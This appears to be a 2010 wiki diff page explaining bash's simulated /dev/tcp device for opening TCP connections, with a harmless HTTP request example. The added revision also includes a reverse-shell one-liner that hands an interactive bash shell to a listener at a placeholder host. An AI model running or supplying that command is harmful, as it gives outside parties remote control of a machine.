User Tools

Site Tools


there_s_a_dev_file_for_tcp_connections

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
there_s_a_dev_file_for_tcp_connections [2010/06/21 05:59]
tkbletsc created
there_s_a_dev_file_for_tcp_connections [2010/09/02 15:12]
tkbletsc
Line 1: Line 1:
-They'​re of the form:+It doesn'​t really exist -- it's simulated by bash only when doing redirections.  ​They'​re of the form:
   /​dev/​tcp/<​hostname>/<​portnumber>​   /​dev/​tcp/<​hostname>/<​portnumber>​
  
Line 6: Line 6:
  
 To get a bidirectional TCP connection in shell script: To get a bidirectional TCP connection in shell script:
-  echo 3 <> /​dev/​tcp/​awesome.com/​9999+  ​exec 3<>/​dev/​tcp/​www.google.com/​80 
 +  ​echo -e "GET / HTTP/​1.1\n\n">&​3 
 +  cat <&​3 
 +   
 +To make an interactive bash shell appear for someone listening at awesome.com port 9999: 
 +  bash 0<> /​dev/​tcp/​awesome.com/​9999 ​1>&0 2>&​0 
there_s_a_dev_file_for_tcp_connections.txt · Last modified: 2010/09/02 15:12 by tkbletsc